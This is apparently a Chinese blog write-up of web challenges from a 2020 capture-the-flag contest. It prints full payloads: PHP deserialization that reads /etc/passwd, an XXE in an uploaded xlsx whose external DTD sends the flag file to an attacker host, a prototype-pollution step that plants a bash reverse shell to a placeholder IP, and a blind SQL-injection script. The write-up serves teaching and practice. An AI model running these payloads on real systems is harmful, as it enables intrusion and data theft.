2020网鼎杯青龙组writeup

原创

qq_41575340 于 2020-05-25 23:40:47 发布 537 收藏

分类专栏： writeup web安全 文章标签： 信息安全

writeup 同时被 2 个专栏收录

5 篇文章 0 订阅

订阅专栏

web安全

4 篇文章 0 订阅

订阅专栏

前言

网鼎杯第一场开始了，又是菜鸡自闭的一天。。。

刚开始一直不放web题，让做web的有点难受呀。

web

AreUSerialz

打开题目发现源码，是一个反序列化：

```
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
```

阅读代码，发现是对文件的一个读写操作。。。

通过读写来得到flag…

这里有一个过滤。要求传递的字符串的`ascii`码在`32~125`之间：

```
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
```

这里有`protected`属性的参数，对其反序列化会有不可见字符串`\00`,会被`is_valid()`检测出来。。。

```
protected $op;
protected $filename;
protected $content;
```

php7.1以上的版本对属性类型不是特别的敏感。。。

可以不用`\00*\00`,直接用`public`属性就可以了。。。

这里`__destruct()`函数，就对`$this->op === "2"`这里使用了强相等。。

```
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
```

可以是`$this->op`等于`整形的2`来进行绕过。。

构造：

```
class FileHandler {

    public $op =2;
    public $filename='/etc/passwd';
    public $content;

}

$a = new FileHandler();

echo serialize($a);
```

`/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:11:"/etc/passwd";s:7:"content";N;}`

可以读到`/etc/passwd`文件，但是没读到`flag.php`

就猜测是路径不对。。。
尝试了好多常见的路径都不行，最后在队友的提示下
在`/proc/self/cmdline`里找到了文件的路径：`/web/config/httpd.conf`

猜测网站根目录为`/web/html/flag.php`
payload:
`/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";N;}`

filejava

打开题目，发现是一个文件上传类的题目：

尝试一下发现可以进行文件的上传，以及下载。。

在文件下载的地方，尝试发现可以进行任意文件下载：
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CMewUYBf-1590421115516)(https://s1.ax1x.com/2020/05/10/Y8rBGT.png)]

通过命名规则，可以下载这些class文件。。

```
WEB-INF/classes/cn/abc/servlet/UploadServlet.class
WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
```

然后通过在线的java class文件的反编译工具，进行反编译 在线反编译：

主要是 `UploadServlet.java` 的代码

```
package cn.abc.servlet;

import cn.abc.servlet.UploadServlet.1;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Iterator;
import java.util.List;
import java.util.UUID;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;

public class UploadServlet extends HttpServlet {

   private static final long serialVersionUID = 1L;


   protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
      this.doPost(request, response);
   }

   protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
      String savePath = this.getServletContext().getRealPath("/WEB-INF/upload");
      String tempPath = this.getServletContext().getRealPath("/WEB-INF/temp");
      File tempFile = new File(tempPath);
      if(!tempFile.exists()) {
         tempFile.mkdir();
         tempFile.mkdir();
      }

      String message = "";

      try {
         DiskFileItemFactory e = new DiskFileItemFactory();
         e.setSizeThreshold(102400);
         e.setRepository(tempFile);
         ServletFileUpload upload = new ServletFileUpload(e);
         upload.setProgressListener(new 1(this));
         upload.setHeaderEncoding("UTF-8");
         upload.setFileSizeMax(1048576L);
         upload.setSizeMax(10485760L);
         if(!ServletFileUpload.isMultipartContent(request)) {
            return;
         }

         List list = upload.parseRequest(request);
         Iterator var10 = list.iterator();

         while(var10.hasNext()) {
            FileItem fileItem = (FileItem)var10.next();
            String filename;
            String fileExtName;
            if(fileItem.isFormField()) {
               filename = fileItem.getFieldName();
               fileExtName = fileItem.getString("UTF-8");
            } else {
               filename = fileItem.getName();
               if(filename != null && !filename.trim().equals("")) {
                  fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
                  InputStream in = fileItem.getInputStream();
                  if(filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
                     try {
                        Workbook saveFilename = WorkbookFactory.create(in);
                        Sheet realSavePath = saveFilename.getSheetAt(0);
                        System.out.println(realSavePath.getFirstRowNum());
                     } catch (InvalidFormatException var20) {
                        System.err.println("poi-ooxml-3.10 has something wrong");
                        var20.printStackTrace();
                     }
                  }

                  String saveFilename1 = this.makeFileName(filename);
                  request.setAttribute("saveFilename", saveFilename1);
                  request.setAttribute("filename", filename);
                  String realSavePath1 = this.makePath(saveFilename1, savePath);
                  FileOutputStream out = new FileOutputStream(realSavePath1 + "/" + saveFilename1);
                  byte[] buffer = new byte[1024];
                  boolean len = false;

                  int len1;
                  while((len1 = in.read(buffer)) > 0) {
                     out.write(buffer, 0, len1);
                  }

                  in.close();
                  out.close();
                  message = "文件上传成功!";
```

```
                }
            }
        }
    } catch (FileUploadException var21) {
        var21.printStackTrace();
    }

    request.setAttribute("message", message);
    request.getRequestDispatcher("/ListFileServlet").forward(request, response);
}

private String makeFileName(String filename) {
    return UUID.randomUUID().toString() + "_" + filename;
}

private String makePath(String filename, String savePath) {
    int hashCode = filename.hashCode();
    int dir1 = hashCode & 15;
    int dir2 = (hashCode & 240) >> 4;
    String dir = savePath + "/" + dir1 + "/" + dir2;
    File file = new File(dir);
    if(!file.exists()) {
        file.mkdirs();
    }

    return dir;
}
}
```

主要的代码：

```
if(filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
                    try {
                        Workbook saveFilename = WorkbookFactory.create(in);
                        Sheet realSavePath = saveFilename.getSheetAt(0);
                        System.out.println(realSavePath.getFirstRowNum());
                    } catch (InvalidFormatException var20) {
                        System.err.println(" has something wrong");
                        var20.printStackTrace();
                    }
```

发现是`xlsx-streamer XXE` 参考文档

这里给出了`poi-ooxml-3.10`
发现正好符合：
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8MIH0NwW-1590421115520)(https://s1.ax1x.com/2020/05/10/Y8ymNt.png)]

利用方法这个文章说的很详细了，我就不多做阐述了

在自己的服务器上编写一个test.dtd文件

```
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % test "<!ENTITY &#37; back SYSTEM 'http://xx.xx.xx.xx:8888/?file=%file;'>">
```

创建一个`excel-1.xlsx`文件，对里面的`[Content-Types].xml`文件进行修改,
添加如下代码

```
<!DOCTYPE ANY[
<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/test.dtd'>
%send;
%test;
%back;
]>
```

然后再服务器上监听`8888`端口，在题目上，上传`excel-1.xlsx`文件，就可以得到`flag`了…

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iBZN7jCK-1590421115525)(https://s1.ax1x.com/2020/05/10/Y8gaCt.png)]

notes

这里直接给出来了源码：

```
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
```

发现是`undefsafe原型链污染`

先使用edit_note函数设置对象的author为我们要执行的命令，也就是反弹shell代码

`bash -i >& /dev/tcp/xx.xx.xx.xx/9999 0>&1`，

在`/edit_note`
`post 提交 id=__proto__.abc&author=bash+-i+>%26+/dev/tcp/xx.xx.xx.xx/9999+0>%261&raw=aaa`
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i9LwXayY-1590421115528)(https://s1.ax1x.com/2020/05/10/Y8fqeO.png)]

然后访问 `/status`

```
app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })
```

在服务器上监听`9999`端口，即可反弹`shell`得到`flag`。。。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P5gnuAoF-1590421115531)(https://s1.ax1x.com/2020/05/10/Y8h8k4.png)]

trace

存在一个注册页面，然后就没有任何东西了。。。

测试的很头疼

测试发现，当数据超过20条就会显示`WTF???rows>20`，能想到的就是通过报错，来阻止数据的添加。。
通过测试注册用户名为`2'-if(1,cot(0),1)-'` 会返回`Mysql Error`

注册用户名为`2'-if(0,cot(0),1)-'` 会返回`Success`

可以传递`2'-if((bool),cot(0) or sleep(3),cot(0))-'`
可以得到延时+报错的效果，不会进行注册操作。。

这里就很迷，测试的注入点没有问题，，字符也没被过滤，，就是跑不出来，

有可能是我的网不太好吧。。。

在加上心态有点崩，最后调试也没成功。。。
附上菜鸡的有问题的脚本(求大佬指正):

```
import requests
import time

url = "http://1bc30ba2b3f445d5b796e3b93e21954a718c043fa74540ee.cloudgame2.ichunqiu.com/register_do.php"
sql = "database()"

flag = ""
for i in range(1,43):
    for j in range(44,128):
        data = {
            'username':"'-if(ascii(substr(("+sql+"),"+str(i)+",1))="+str(j)+",cot(0) or sleep(4),cot(0))-'",
            'password':"aa"
            }
        try:
            result=requests.post(url,data=data,timeout=3)
        except requests.exceptions.ReadTimeout:
            flag+=chr(j)
            print flag
            break
```

总结

这次题还不错，，学到了一些东西，

做题心态很重要。。。
真的很重要。。。
没心态，真的做不出来题目呀。。。。